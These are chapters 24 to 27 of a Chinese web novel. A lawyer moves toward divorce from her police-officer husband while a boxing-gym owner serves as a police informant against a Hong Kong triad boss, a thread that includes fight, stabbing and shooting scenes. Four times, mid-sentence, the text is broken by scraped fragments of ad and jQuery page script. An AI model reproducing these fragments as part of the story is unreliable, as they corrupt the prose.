关昊一早就在等着了,早上还推掉一个单位安排的专访。想到回家就能和老婆单独相处了,心里有点兴奋,谁也不能耽误他和老婆相处的时间。 “你的行李呢?”林茜办完出院手续,收拾东西的时候发现竟然没什么东西。 “哦,昨天让小王带回去了,先放警局吧,不着急收拾。”关昊随意地说。 呃,可是里面还有换洗衣服啊,虽然入秋了,可闷过几天的衣服再洗…… 算了。 这不是该自己操心的了。 林茜扶着关昊慢慢出来,虽然没伤到腿脚,但保险起见,林茜还是扶了他。关昊也乐得被照顾,享受着老婆为他做的一切。 直到转过几个路口,关昊才察觉不对,这不是回家的路啊。 24. 第 24 章 “咱们这是去哪啊?”关昊问道。 “去爸妈家。” 关昊心里升起不祥的预感:“去爸妈家干什么?” “你这几天需要人照顾,我周一要去杭州出差。你住爸妈家比较好。”林茜开着车说道。 “不是,你怎么没跟我商量呢?”关昊诧异,这和之前想的完全不一样啊。 车子在红灯前缓缓停下,林茜转过头:“你希望怎么样比较好呢?” “我希望现在立刻掉头,回自己家。” “那不是你的家吗?”林茜看着关昊。 “那是爸妈家啊,你和我的家才是自己家。”关昊理直气壮说道。 林茜看着他,有一丝恍惚。 多希望这句话出现在以前。 如果当初的林茜遇到的是现在的关昊,她们应该很相爱吧。 “关昊,”林茜尽量温和地说:“我搬出来了,不适合再回去。你在爸妈那里有自己的房间,吃住都很方便,这样安排是最合适的。” 关昊没能说服林茜,冷着一张脸和和林茜回去了。 临下车时,又放心不下嘱咐:“我妈那个人说话有些直,但没坏心,她要是说了什么不好听的,你别往心里去。” “好,我知道。”林茜应着,绕过来扶关昊下车。 关昊的眉头舒展一点了。 进了家门,关爸没在,出门钓鱼去了。关妈正在准备午饭,看见儿子吊着胳膊进来了,心疼得不得了,想埋怨媳妇没照顾好关昊,顾忌儿子在就没开口,只偷偷剜了林茜几眼。 林茜已经完全不在乎了,婚之将离,给彼此一点体面吧。拿出一个红包,对着关妈说:“听说亮亮已经开学了,升学宴我没赶上,这个红包就请您代收吧。” 关妈接过来掂了掂分量,脸色终于好起来:“诶呦都是一家人,这么客气干什么?” 关昊乐得看母慈媳孝:“林茜一向懂事,她给的你就拿着吧。” “哎,好。那我接着做饭去了,你们喝点茶歇着。”关妈这时也想起来小两口刚和好不久,让她们黏一会吧。 “来,坐。”关昊拍了拍自己旁边的位置。 林茜隔了一点距离坐下。 关昊正要招呼林茜坐近一点,就看见林茜的长裤被膝盖撑了起来,露出洁白的脚踝和一小片淤青。 “你的脚怎么了?”关昊凑过去想看清楚一点。 林茜缩了缩脚踝,“没事,前几天扭到的。你别乱动,当心碰到胳膊。” “我没事,给我看看。” “不用。”林茜抗拒之意明显。 关昊怕惹她生气,也不再强求,问道:“什么时候扭到的,怎么没和我说呢?这几天上班不方便吧?” “本来也不严重,涂过药已经好很多了,不影响上班。”说着拿出车钥匙放在桌上,“你的车钥匙我放这里了。你好好休息几天,出门不要开车了。” “干什么?你要走啊?” “嗯,周一出差,我趁现在有时间把事情安排一下。” “不是我说你,你这也太拼了。周末也不休息,脚还扭着了,你这样我怎么放心的下?” “没事,你习惯一下。”林茜说着已经挎上了包。 关昊被噎了这一句,一时也不知道该说什么。 行吧,她高兴就好。 林茜出了门,吐出一口气,心里放松下来。 其实也没什么特别的事,只是在关昊爸妈家一直都不自在。以前有关昊在还好,现在和关昊相处也不如从前了,在那简直不知道该做什么。 新家已经收拾好,没什么需要添置的了。林茜不知道去哪,兜兜转转,竟然来到了余琛的拳馆。 周末的生意比平时要好一些,毕竟上班族只有周末有时间。 阿生没在前面,前台的姑娘不认识林茜,问她想学什么。 “拳击、泰拳我们都教的。全是专业老师,如果您想学泰拳,并且英文OK的话可以选泰国老师,都是打过专业比赛拿过名次的。本土的老师呢也很厉害。可以先上体验课感受一下,您之前有了解过我们拳馆吗?有没有感兴趣的教练?” “余琛教什么?”林茜在这里只认识两个人,先问了余琛。 “您问我们老板啊,不好意思,他的课都约满了,现在已经不接新学员了。要不您再看看其他教练呢?或者我给您推荐也行。” “何广生呢?” “他是我们店的行政总监哈,不教课的。” 正巧何广生来前台拿东西,看见了林茜。 “林律师你怎么来啦?找琛哥吗?他不在哈。” “我知道。下周出差,我过来看看,有没有什么需要我的事可以先处理。” “看来琛哥的拳馆在你这优先级好高哦,他知道了一定很高兴。”何广生眉开眼笑。 林茜有点不好意思,转移话题:“听说他的课满了,已经不接新学员了。” “对,琛哥是老板嘛,要处理的事很多,香港那边还一个店,飞来飞去的,本来就没多少时间。其实以前的会员差不多都在香港,只有一个特别资深的跟过来了,琛哥就在带她。” “康嫣然?”林茜脑海中出现这个名字。 “对。”何广生眼睛瞄了一圈四周,压低声音:“这里面呀,有缘故的。”这个缘故本来他不知道,不过上回林茜似乎表现出了一点在意,他也就私下打听过了。他得替老大的追妻之路扫清障碍啊。 闲来无事,看何广生一副有话要说的模样,林茜也摆出洗耳恭听的势头。 “嫣嫣这个孩子,其实也蛮可怜。”何广生把林茜请进了自己的办公室,斟好茶,换上一副老气横秋的口吻讲述起来。 原来康嫣然小时候和父母在大陆的,十岁时父母离婚,爸爸带她去了香港。因为语言不通,性格又内向,康嫣然在学校没什么朋友。但好在成绩还不错,也一路升学。 康爸工作很忙,男人又粗心,没注意到女儿的异常。等发现的时候,才知道女儿已经旷课很久了。旷课的原因,是因为被霸凌。 每个学校都有小团体,康嫣然在的学校也不例外。倒霉的是,这个刺头军团就在她的班里。 她讲话有口音,总 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是被嘲笑,慢慢的就不爱讲话。 她身量纤细,性格孤僻,从来不参加学校的课外活动。因为不合群,又开始有各种奇怪的流言传出。 十五六岁的年纪,爱噱头胜过爱真相。她们欺负一个不爱说话的孤僻女孩,自以为是匡扶正义,愈演愈烈。 康嫣然从莫名其妙地丢作业,到衣服被划脏,到被堵在厕所里扇巴掌,却始终不敢跟老师和家长说。 爸爸已经那么辛苦了,不想再增加他的烦恼。至于老师,小时候求助过的,和稀泥了事。过后自己又多被欺负了一场。 忍一忍吧,再忍一忍升学就好了。 可是这次怎么也忍不了了,康嫣然选择了逃学。每天早上照常出门,然后漫无目的地晃荡在大街上。 直到老师找到家里。 那时候康嫣然已经不怎么说话了,她看到爸爸的目光好像很心疼很愧疚。其实她自己也是,她本来该继续读书念大学的,可是她做不到了。 后来康爸给她办了休学,带她看心理医生,带她旅游,陪她聊天,效果都不大。以前父女之间除了三餐和成绩就没什么可聊的,现在突然有了时间坐下来,两个人都不知道说什么。 心理医生告诉康爸,人的攻击性本来应该向外的,可是她年幼的时候为了自保把攻击性压抑住了,导致她形成习惯,现在的攻击性只对向自己。整个人就压抑又厌世,没有活力。 抱着试一试的态度,康爸把康嫣然带到了拳馆。那时候余琛刚开业不久,什么都没有,唯有时间和耐心。 一个高大凶猛的大块头,对着一个沉默纤细的女孩,没有太多话,只是一遍遍教她出拳,纠正她的动作,调整她的姿势,在她力竭时让她休息,然后站起来继续。 情况竟然神奇的好转了。那时候康爸也想通了,只要女儿健康快乐,做点喜欢的事就好,自己可以养她一辈子。 康嫣然就这样一直跟着余琛打拳,甚至跟来了北京,至今已经有四年了。 “情况就是这样咯。老学员嘛,琛哥都很关照的。而且嫣嫣确实也很好,又用功又听话,是教练喜欢教的那一类学生。”何广生说到口渴,给自己也倒了一杯水。 睥着林茜的神色,何广生又加了一句:“而且呢,我们拳馆很有规矩的,琛哥说过,教练不可以和学员谈恋爱。所以康伯也很放心把嫣嫣送过来。” “拳馆还有这样的规矩吗?”林茜问道,不过设想自己如果和客户谈恋爱,也是很奇怪。 “对啊,琛哥说会影响工作,公私不分,而且要是特别关照其中一个,对别的学员也不公平。” 林茜点点头,想的很周到。 见林茜打消这个误会了,何广生乘胜追击:“其实来我们这打拳的女生大多也是为了减肥或塑形,很少以打职业赛为目的的。每天坐办公室那么久,肩膀都僵了,运动一下就很舒服嘛。而且把沙袋当成烦人的老板同事,打上去还解压,你说是不是?” “有道理。”看何广生这么卖力地为拳馆宣传,林茜微笑着捧场。 “那林律师,你考不考虑来我们拳馆试试呢?” 25. 第 25 章 “我?打拳?”林茜指着自己问。 “对啊林律师,你看你工作那么危险,多少学两招,就算打不过,至少强身健体,跑的时候也快一点嘛!”何广生充分发挥行政总监的口才,游说林茜这个潜在客户。 林茜想起余琛答应姚佳莉拍摄时说的话:“茜茜有时间的话,希望也来看一看。女孩子在外面谋生本来就辛苦,学一点防身术,万一遇到危险,有总好过没有。” 林茜答应下来:“有没有推荐的教练?我希望是女孩子。” 何广生的表情有一瞬凝固。 哈?不应该是琛哥吗? 不过他迅速调整过来:“我看看女教练的课程哈,一定给你推荐一位合适的。” 林茜:“不急,等我出差回来之后确定就可以。” 何广生送走林茜,立刻把最新情报同步给余琛:“琛哥,你那边的事怎么样了?林律师要来咱们拳馆学拳啦!” 何广生等了两天都不见有回信,禁不住也有些担心,琛哥不会是出事了吧? 泰国清迈一家不起眼的赌场里,招待的客人大多是华人,据说老板来自香港。休息室的房门一关,外面的喧闹就进不来了。昏黄的灯光下,只有最中间的两个人能看清人脸,其他人都隐在阴影里,蓄势待发。 “余琛,你小子让我好找啊。”辣蛇玩味地看着余琛,手里摆弄着一把弹簧刀。 “木西拳馆开张已经有四年,杨老板想来,随时欢迎。”余琛靠着椅背,一条腿搭在另一条腿上,神色松弛。 眼前威胁他的人正是消失2个月的洪兴坐馆杨福寿,为人心狠手辣,蛇蝎心肠,绰号辣蛇。 辣蛇也摸不清余琛的底,试探道:“你少给我装蒜!十年前让你跟马天成那个老不死的逃了,你在外面躲了6年才回来。一回香港就开店做生意,好威风啊,你哪来的钱?”浑浊的眼睛里爆出精光,图穷匕见。 “朋友借的咯。” “哪个朋友?” “尖沙咀高级督查昌鹤年。” “哈,”辣蛇像是听到什么好笑的事:“你妈傍上他,换你们几年太平日子过。现在人终于到手了,他还会多事管你死活吗?” 辣蛇说这话并不是无凭无据。当年他们发现马天成的踪迹后一路追查,终于在码头找到了跛脚的马天成和余琛。 辣蛇一行有十多个人,马天成他们只有两个,乱枪之中,隐约看到马天成中枪落水,余琛也跟着跳了下去。后来就再也没有两人踪迹了。 辣蛇知道马天成上面还勾连着高官做保护伞,高官甚至还存了一大笔钱在他那。自己还没接上头,如果不是这次偷拿帮里的钱被发现,他也不想这么早就动手。 马天成的家人早就被他送出国外,他在香港除了这帮兄弟就只有自己。辣蛇不死心,想去余琛家人那里看能不能引他出来。谁料余琛幼时跟着父母来到香港,爹早死了,还有个妈傍上一个警察。 或许是知道要出事,余妈直接搬到了昌鹤年家里。洪兴再猖狂也不敢公然去警察家里要人。余妈又谨慎,从不落单出行。辣蛇派人盯了好久也没线索。 坐馆更迭之际,帮里本来就不安定。隆盛又趁着洪兴换人到处挑衅,自己折了不少兄弟。 屋漏偏逢连夜雨,他妈的警察不知道从哪挖出了马天成的尸体,又进去一拨兄弟,连辣蛇自己也被关了5年。 出来之后,百废待兴,辣蛇想起了当年和马天成一起消失的那一笔钱。马天成死了,那唯一的线索就在那小子身上。他慢慢收拢还在外面的兄弟,蛰伏起来。 终于在一年之后,他等到了余琛。 可是六年后回来的余琛早就不是当初那个毛头小伙子,他更能打了,又联络上那个姓昌的警察,甚至还介绍了其他警察去他的拳馆。 辣蛇忍下一口气,继续蛰伏。这么多年都等了,怎么就等不得? 终于,盯梢的兄弟发现余琛和姓昌的警察交恶,大街上差点动手,还是他妈拦下来的。 在余琛拳馆的几个警察最近也陆续退了课。 上周昌鹤年和余琛的妈结婚,余琛没出现。 拳馆扩张之际,余琛又回到了泰国,没拜访师父,没去见朋友。 这说明什么? 警察不管他了。 他的老底也用光了,是时候动马天成留给他的那一笔了。 余琛,他到底要落到自己手里了。 辣蛇的嘴角忍不住露出一丝邪笑,这么多年,终于被我等到了。 余琛听着辣蛇的话没多大反应:“杨老板说什么?我听不懂。” 辣蛇欺身上前,盯着余琛一字一顿:“听、不、懂?我、教、你。” 余琛身后的背影里迅速窜出两个人,想要拧住余琛的肩膀,余琛侧身一躲,一脚伸出绊倒其中一个,顺手推出椅子抡向另外一个。 侧面瞬间又冲过来两人,和被绊倒站起来的人一起,三个人合围余琛。 辣蛇还坐在原来的位置上,只是弹簧刀已经伸了出来,时不时戳一下木质的桌面,留下一个个浅浅的小洞。 这个房间一共有七个人,除了辣蛇,还有一个站在他侧后方的马仔一直没动。余琛直觉这是个危险人物,情况不妙。 余琛又掀翻两个人后,抽空对辣蛇说:“天哥临死前,是告诉我一些事。不过隆盛的坐馆也很想要这个消息。杨老板,你说我该怎么办?” 谈条件? 辣蛇眉头一挑:“余琛,你有的选吗?” 余琛闪身避开一拳,一记直拳击中对方面部,对方瞬间鼻血直流。刚刚被椅子抡倒的马仔又挨了余琛两脚后已经没什么力气了。现在主力还有两个。而余琛甚至只是微微喘气。 辣蛇皱了皱眉,“阿Ken.” 身后一直沉默的男人也加入战局。余琛一早就注意到他,个子不高,横眉蟹目,一双大手粗壮有力,是个硬茬子。 余琛不敢轻敌,一个摆拳击中右边马仔的后颈,人瞬间昏迷,直直倒地。又一记右勾拳击中左后方马仔的肚子,马仔捂着腹部委顿在地上站不起来。 这两拳的功夫,阿Ken已经跳了过来。余琛的直觉没错,这人是硬碰硬的打法,出拳又快又狠,面对余琛的攻击只有小幅度的闪避,被击中也无所谓,拼的是谁先 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 倒地。 难啃的骨头。 场上的局势变得胶着起来,基本上余琛和阿Ken一对一的战斗,余下几个喽啰时不时出一记暗拳。 这些年洪兴的盯梢,暗地里的窥探,余琛也烦不胜烦。希望一总做个了断,否则万一他们跟到北京,找上林茜,余琛简直不敢想。 这么想着,手下的力道就又重了几分。阿Ken对上余琛,力量不占优势,只有敏捷性不错。但余琛是打比赛出身,格斗经验丰富,占了一点微弱的上风。 辣蛇坐在椅子上,暗自心惊,五打一都不行吗?马天成那个老东西从哪儿找来的人? 余琛躲过阿Ken的侧踢后瞥见辣蛇的神色,知道火候差不多了,忽然暴起一个箭步,直冲辣蛇而来。 辣蛇一惊,决定先下手为强,一手撑着桌子探身向前,另一手拿着匕首朝余琛直刺过来。 余琛身量高大,这一刀本该插进他的肚子,可余琛却在即将到达辣蛇桌前时突然往旁边一躲。 在后面紧追不舍想要营救老大的阿Ken猝不及防撞上了面前的匕首,直没胸口。 这一变故谁都没想到。 余琛原本想趁辣蛇心慌挟持他做下一步谈判。阿Ken护主心急。辣蛇心狠手辣,竟意外杀了自己的左右手。 阿Ken倒在地上抽搐,嘴里嗫啜着“老大……”流出血来。 屋里一时静了下来。 余琛担心他们狗急跳墙,绷紧防备;辣蛇担心无人能制止余琛,也不敢轻举妄动。房间就这么陷入了诡异的安静。 “喂,你的马仔,不用送医院吗?你要看着他死在你手上?”余琛先出声。 死在他手上? 埋伏在外面的警务人员听到耳机里传来的声音,要出人命了? 昌鹤年坐不住了,向上级请示:“Sir,他们已经动手了,线人随时有生命危险,我申请立即行动。” 穿着制服的中年男人皱着眉犹豫了一瞬,开始在对讲机里发布命令:“佩玲、家明假装闹事,冬瓜去敲门,引他们出来。尽量保护线人安全。行动!” 赌场里的香港便衣警察和国际刑警应声而动。一杯红酒“不小心”泼在了一个西装男身上,西装男马上大声喊:“八婆,你没长眼啊?” 佩玲气势汹汹地和家明大吵起来,迅速引起旁人的围观。 赌场的经理过来看是怎么回事,家明和佩玲各自不依不饶,扬言一定要见他们老板。 冬瓜这时候端着餐盘出现了,小声说:“经理,我刚看见老板去休息室了,要不我去叫他?这两位一个是珠宝商杨子昌的客人,一个是码头大佬坑哥的兄弟,咱们哪个都惹不起啊!” 经理犹豫了一下,赔笑道:“两位稍等,我这就去请老板出来。” 经理穿过大堂,来到一处玻璃门前,伸手按了指纹,门应声而开。就在这时,身后忽然窜出两个人,一人捂着他的嘴,一人在颈后给了他一记手刀,经理翻着白眼晕了过去。 休息室里响起敲门声,原本就精神紧绷的众人此时心里都是一惊。 辣蛇冲着门口大喊:“谁?” 26. 第 26 章 “寿哥,是我冬瓜!不好了寿哥,杨老板的姘头和坑哥的兄弟打起来了!经理在前面应付不了,让我来喊你啊寿哥!” “滚!”这都什么时候了还拿这种鸡毛蒜皮的小事来烦他,简直养了一群饭桶! 可敲门声未停,冬瓜的声音越来越慌张:“寿哥,他们进来了!” 门外隐约响起男女的吵嚷声。 辣蛇心里又惊又怒,一时拿不准主意。眼下屋里没人能制住余琛,形势对自己不利;可是贸然开门,阿Ken身上插着自己的刀,这怎么解释? 余琛见状,幅度很轻地变换了一下步法,正对着辣蛇。 这一举动让辣蛇的心提到了嗓子眼,余琛要动手了! 顾不上其他的了,辣蛇随手指着一个喽啰大喊:“你,去开门!” 马仔刚把门打开,立刻被人用枪顶着头,门外的人大喊:“都不许动!” 辣蛇见状瞬间明白了过来,余琛跟警察是一伙的!屋里没有窗户,只有大门一个出口。眼见着逃不掉了,辣蛇怒火上头,只想鱼死网破,冲着余琛就扑了过去。 余琛心中一紧。 “砰!”一缕细白的烟从佩玲的枪口冒出,辣蛇应声倒地。 最忠心的马仔已经躺在地上进气多出气少。余下几个见老大都中招了,纷纷蹲在地上不敢动。 余琛一直攥紧的拳头慢慢松开,转过头对着佩玲:“多谢。” 警察接手现场,拘捕的拘捕,送医的送医。昌鹤年也进来了:“阿琛,你跟我来。” 进到赌场外的指挥车里,昌鹤年的上司对余琛说:“这是19年前那起爆炸案的现场录像,你在这里看吧。” 命运的齿轮开始转动,就是从这盘录像带开始的。 当年马天成以这盘录像带诱惑他,让他答应带自己远逃泰国,结果没活着走出码头。 余琛把他从水里捞出来的时候,马天成的神志已经不清醒了,只重复着“泰国……巴颂……”这几个字,咽了气。 逃往泰国的船已经开走,余琛找个地方埋了他,知道自己这次惹上大麻烦。 家,回不去了。 因缘际会,他上了一艘开往深圳的船,想从深圳找门路去泰国。却在打黑工的途中又遇到诈骗团伙。他逃了出来,越跑越远,跑到了北京。 就在那里,他遇到了林茜。 一个平平无奇的晚上,也许有月亮,也许没有,可记忆里的那晚镀着一层柔和的光晕。 后来又莫名其妙救下她,却差点给自己招来警察。 女孩没被自己的凶悍吓走,也没被自己的冷漠逼走,她像一截脆生生的莲藕,纯洁又爽脆,什么污泥都沾染不了她。 余琛的心防也放下来,甚至约她来店里,要亲自下厨请她吃饭。 可是那一天,霞姐打了电话来。店里洗澡不方便,余琛每周要去学校北门的日租房住一晚,然后用老板的座机给霞姐打个电话报平安。霞姐从不主动打电话给他。 也许是命运的安排。那天本来不是余琛去日租房的日子,可是为了晚上和林茜的见面,他去了,洗一洗身上的鱼腥味。 刚好那一天,霞姐打来电话。老板知道他在,叫他去接,拿起听筒时,对面却是昌叔的声音。 余琛的神经绷紧了,自己重伤了一个古惑仔,洪兴的坐馆又死的不明不白。他对警察实在是忌惮。 可昌叔却说,霞姐已经把事情都告诉他了。 余琛有种被背叛的感觉,人命关天的事,怎么能告诉外人呢? 昌叔说,那个古惑仔已经死了,和余琛没有关系。他们闹完事回去的当晚,隆盛砸了洪兴一个场子,那个古惑仔也在其中,在混战中被打死了。 另外还有几个重伤。因为出了人命,警察出动了,抓了一些人进去。现在风头过去,阿琛可以回去了。 余琛听得疑影重重,没事了?这么简单? “要是我不回去呢?”余琛握紧听筒问。 “阿琛,我知道你因为你老爸那件事,对警察一直有偏见,可这事已经过去这么久了,靠你一个人查是查不出来的。马天成是什么人,他是洪兴的坐馆,他的话能信吗?” “那你的话能信吗?”余琛尖锐地问。 “你把马天成交出来,我们当面对质。” “你找马天成做什么?”余琛敏锐地问。 “阿琛,马天成这个人很危险,他上面还有人,你不要跟他走的太近,你把他交给我……” 余琛已经挂断了电话。他现在确信,昌鹤年的目的是马天成。他还不知道马天成已经死了。至于自己是不是真的没事,或许只是为了骗他回去? 电话又打来。 余琛没接。 继续打。 一连响了四五次后,日租房的老板有点不耐烦了,向他投来一眼,意思你还有完没完了? 再一次响起时,余琛接了电话,压低声音迅速说:“马天成在油麻地码头被洪兴的人找到,受伤落水了。你们最好去那里找找。还有,不要再打来。” 挂断电话后,老板看向余琛的目光多了几分探寻。余琛顾不上这些,这个地方不能留了。 他收拾好东西回鱼粉店,刚转过巷口,就看到一个清丽的身影站在店门前,孤零零的。 余琛很想上前去看看她,可理智制止了他。他身上的谜团越来越多,也越来越危险了。不能把危险带给她。 女孩一直等到十点,落寞地走了。 余琛目送着林茜的背影,罕见的感到一丝心痛。他拿出手机看到了女孩发来的短信,她应该是怪自己了吧。就让她怪吧,最好忘掉他。 第二天在离开北京的路上,余琛还是给女孩回了一条语焉不详的信息,看起来很敷衍。他知道以女孩的性格,如果毫无征兆的消失,只怕女孩会以为他出事了去报警。 坐在大巴上,余琛看着窗外的灰蒙蒙的天,第一次感到茫然。林茜,还会再见吗? 后来一路辗转到了泰国,花了近一年的时间才打听到巴颂的下落。 他死在了三年前。染上赌瘾,欠了一屁股债,被砍掉一只手后没多久就死了。 也断断续续摸清了巴颂和马天成的关系。原来马天成早年在泰国混过一段时间,巴颂为人义气,那 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 时候两人关系很好。 余琛隐约感觉到,巴颂手里并没有他父亲死亡的真相,这么粗疏的一个人,怎么保管重要的证物呢?马天成来找他,大约还是看重巴颂重情义,能给他个安全养伤的地方,帮他东山再起。 能要挟警方的证据,应该是作为把柄还在马天成自己手里。 可马天成已经死了。 又或者,根本就没有这盘录像带。 余琛好像走进一个死胡同。 幸好余琛打工的拳馆的老板很赏识他。给他工作,还教他打拳。 余琛满腔情绪都融在了拳头里,一路打上八角笼,拿下金腰带。 泰拳一打就是五年,也攒下一些积蓄。这些年他托各种关系打听当年的事,知道了昌叔说的小混混之死确实和自己没关系了。只是父亲死亡的真相还是没有进展。 他决定回港。 看望母亲,开设拳馆,和昌叔又联络起来。人成熟了,没有年轻时那么偏激。昌叔也不再把他当个毛头小伙,说了更多当年的事。 原来马天成手里有一笔巨款,是一个海关的高官托付在他那里的。高官落马,马天成不知所踪。后来经过地毯式搜查,警方在油麻地码头的附近挖出了马天成的尸体。 通过子弹辨认,抓了洪兴一个喽啰和二当家。致命伤是喽啰的枪击中的,腿上的伤则出自二当家之手。 杨福寿也因此服刑五年。 洪兴元气大伤。隆盛之前和洪兴几次火拼,也折损了不少人。 这一带的治安好了很多。 只是赃款一直没有下落。 余琛回港后遇到过几次莫名挑事的人,后来发现是杨福寿安排的。只是拳馆刚刚创立,事情千头万绪,腾不出手来料理。 等余琛想要和昌叔联手的时候,却遭到了霞姐的反对。 余琛一走就是6年,霞姐实在接受不了儿子再有什么事了。 这也是她第一次这么激烈地反对昌叔。 合作搁置下来。但昌叔没有放弃,霞姐疑神疑鬼。 余琛夹在中间左右为难。更重要的是,他终于有余力去看看当年那个遗憾。他又回到了北京。 这次老天格外眷顾他,竟然就这么和林茜重逢。 就在一切都向好的时候,昌叔的电话又打来了。 辣蛇神通广大,和缅甸一个毒枭接上头,谈下了一笔大生意,急需用钱。霞姐已经受过两次骚扰,都被昌叔解决了。但辣蛇的人去了内地,可能会找余琛的身边人。 余琛决定,无论如何,这事都要有个了断了。 令余琛意外的是,昌叔竟然还和上司争取到一个重磅炸弹。只要余琛同意当线人引出辣蛇,当年小巷里的录像,可以在事情结束后让余琛看。 辣蛇谈下生意后就开始神出鬼没,余琛故意在人前和昌叔交恶,又流露出要开几家新店的消息。终于引蛇出洞。 现在,录像就在眼前了。余琛刚刚一番激战,脸上还有淤血,肋骨隐隐作痛,可是都顾不得了。 困扰他近二十年的真相。 余琛伸出略微发颤的手指,点开了播放键。 27. 第 27 章 再一次目睹父亲的死,无异于一场凌迟。 可是余琛要给自己一个交代。从劫匪返回巷子劫持父亲到爆炸发生,短短4分多钟的画面,他顶着巨大的痛苦一帧帧细看,有些还要倒回去再看。 终于,在反复回看与放大后,他看到爆炸前有两股细微的踪迹几乎同时击中罐身,一个来自劫匪,一个来自警察。 竟然是两颗吗? 余琛回到住处枯坐了一宿。霞姐担心儿子,没回老公家,也在余琛的公寓里陪着他。快天明时,霞姐给余琛披上了一件外套。 余琛转过头,看见霞姐慈祥的目光:“天凉啦。” 记忆中的霞姐总是爽快泼辣的,极少有这样的时刻。余琛忽然感觉妈妈老了。再细想,与霞姐生活在同一屋檐下,已经是十年前的事了。 霞姐知道,儿子一直被父亲的死亡困扰,被迫流亡,又不惜冒险和警方合作去对付洪兴,都是为了查出当年的真相。现在真相大白,抻了这么久的线骤然松了,这滋味不好受。 霞姐握着儿子的手安慰道:“阿琛啊,你为你老爸做的这些事,他在天上都看到了。你对得起他了。” 犹豫了一下,霞姐决定还是告诉儿子:“鹤年那边,已经在向政府申请赔偿。他会尽力向上级争取……” 余琛回握住妈妈的手:“妈,不用了,还有,谢谢昌叔。” “哎,好。”霞姐点着头答应,眉眼弯弯,有笑意,有泪光,也有释然。 母子之间一时无话,却是难得的温情时刻。 远在北京的阿生此时却越来越焦灼了。 “老大走了快一个礼拜,连个消息也没有,别是出什么事了吧?”阿生在自己的办公室里转圈,自言自语。 转瞬又否定掉:“呸呸呸,我打你个乌鸦嘴!老大吉人天相,逢凶化吉,一定不会有事!”说着真抽了自己一个小嘴巴。 教练安娜接到行政的通知过来找何广生,看到门虚掩着,敲了敲,直接把门敲开了,正看到行政总监自抽巴掌的一幕。 “安娜啊,你来得正好!”何广生看到安娜,想起另一件大事:“你最近的课程饱和度怎么样?” 老板查业绩?安娜谨慎开口:“您定的规矩,每个月150节课肯定能完成的。忙的时候能有170。” 这个业绩算很亮眼了。不是每个教练都能完成指标的。安娜身材健美,出拳漂亮,人也开朗健谈,学员都喜欢上她的课。虽然现在以一对一的私教课为主,但周末的时候偶尔也带带大课。 没想到何广生却皱起了眉头:“那你那边,还能匀出时间来带新学员吗?” 原来是给她介绍新学员,安娜老实回答:“我的时间是有的,就是不知道客户的时间怎么样。现在我手里有十几个学员,都是老客户了,练拳的时间基本上能固定下来。黄金时段都没有了,如果客户能接受上午的课程,那我是ok的。” 何广生想到林茜的职业,她的休闲时间恐怕连她自己都不太确定吧?本来想先拖一拖,等琛哥回来直接接手。可琛哥迟迟不回来,还是得先找个不错的女教练带着,把林律师稳住。 何广生简单说了一下林茜的情况,让安娜回去等消息了。 林茜看到何广生发来的信息,问她什么时候回北京,已经找好了合适的教练。恰巧姚佳莉也发来信息说:在楼下看见两回关昊的身影,是不是搬家还没告诉他? 林茜下意识地往下拉对话框,余琛从上周五回香港后,现在已经周三了,杳无音信。 不会出什么事了吧?林茜也这么想。她隐约感觉上次余琛回来是想和她说清一些事的,可还没说就又回去了。两次似乎都走的很急,是去处理旧事吗? 手机一阵震动,把林茜的思绪拉回来,关昊打电话来了。 林茜接通:“关昊。” 那边却没有声音。 今天是关昊受伤后第一次回到自己家里。 这些天住在爸妈家,被妈妈喂得胖了一点,原来凹进去的脸颊恢复了正常,上个月连日盯梢晒黑的皮肤也白回来了,又是一个精神漂亮的小伙子。 林茜出差那天,他问好时间去机场送行。林茜淡淡的,只嘱咐他好好养伤,没说具体的归期。 他就每天都去老姚那里看看,也不打扰人家,只在楼下转一转,天黑了就回家吃饭,竟然有些学生时期恋爱的味道。 关昊和林茜认识时,两个人都已经工作了,都是新人,脏活儿累活儿都压在身上,没多少时间相处。成年人揾食最重要,有情绪都要往后放,先处理工作再谈个人感情。恋爱谈得平淡又匆忙。 到了年纪步入婚姻,一切顺理成章。好像没有认真恋爱过。 关昊想过了,等林茜回来,把欠她的浪漫都补上。 关妈时不时在耳边唠叨一句。林茜临走前封了5000块的红包,只封住关妈一天的嘴。到了第二天,关妈就开始有意无意嘀咕了:“怎么大周末的也不着家啊?” 关昊当耳旁风,可吃饭时看见关妈下拉的嘴角,也意识到林茜这几年的日子不好过。关昊决定搬回去。 在只属于两个人的小家里,乖乖等老婆回来。 然后迎来当头一棒。 家里很干净,太干净了,干净到没有林茜的痕迹。 “关昊?”林茜又叫了一遍。 “你……你真要走啊?”关昊不确定的声音从那边传来。 “什么?”林茜没反应过来。 “你的东西呢?”关昊茫然的问。 林茜明白了,坦诚道:“上次离开走的匆忙,这次我把家里的东西都清理好了,只带走了我的个人用品。一些储物柜的抽屉上贴了便签,你看到就知道里面放的什么。” “婚纱照呢?”关昊盯着客厅沙发上空荡荡的墙面问道。 林茜抿了一下唇:“收起来放到储物间了,这个留给你处置吧。” 关昊心里翻涌起无数情绪,有愤怒,有委屈,有恐慌,有不甘,最后只嗫啜出一句破碎的话:“林茜……你不要走好不好。” 那是从喉咙里压出的气声,像是怕再大声一点就会吓走她,又像是再多说一句就会哭出来。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “关昊……” “我改!我知道我有一大堆缺点,我哪里不好,我改。你说的我都改!”关昊急促地说道。 “你是个很棒的警察,也是个正常的丈夫。”林茜温和地说:“就像柠檬和牛奶不适合一起喝,柠檬没错,牛奶也没错,只是不适合而已。可是不试一试的话,就不会知道自己原来是不适合的。但这不代表我在否认我们的过去。” 关昊拿着手机,慢慢蹲到地上。 林茜的话像一柄温柔的重锤,一点点捶低了他的头。 林茜说完,对面没有回复,只是间或有一声重重的抽吸声。 关昊……哭了吗? 林茜心中也很难过。关昊一向是天不怕地不怕的性格,受了伤流着血也能笑着安慰她,还会明晃晃的为自己的勇敢得意。 这样的人,却变成现在这样…… “关昊,”林茜忽然问:“你这几天,有喝鲈鱼汤吗?”她不想关昊沉溺在伤痛里,只能笨拙地重开一个话题。 